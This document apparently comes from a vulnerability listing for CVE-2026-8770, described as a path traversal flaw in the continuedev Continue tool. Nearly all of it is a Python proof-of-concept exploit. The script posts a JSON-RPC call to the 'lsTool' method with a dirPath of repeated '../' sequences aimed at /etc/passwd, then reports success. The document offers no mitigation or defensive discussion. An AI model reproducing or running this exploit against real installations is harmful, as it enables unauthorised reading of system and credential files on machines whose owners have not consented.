CVE-2026-8770 continuedev continue路径遍历漏洞

import requests import json # Target URL (Example: localhost default port for JSON-RPC) # Note: Actual endpoint/port depends on the specific configuration of continuedev target_url = "http://127.0.0.1:4100/rpc" # JSON-RPC payload to exploit path traversal in lsTool payload = { "jsonrpc": "2.0", "method": "lsTool", # The vulnerable function "params": { # Manipulate dirPath to traverse directories (e.g., accessing /etc/passwd on Linux) # Using several '../' to escape the current working directory "dirPath": "../../../../../../etc/passwd" }, "id": 1 } try: headers = {'Content-Type': 'application/json'} response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: result = response.json() print("Exploit successful! Response:") print(json.dumps(result, indent=2)) else: print(f"Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"An error occurred: {e}")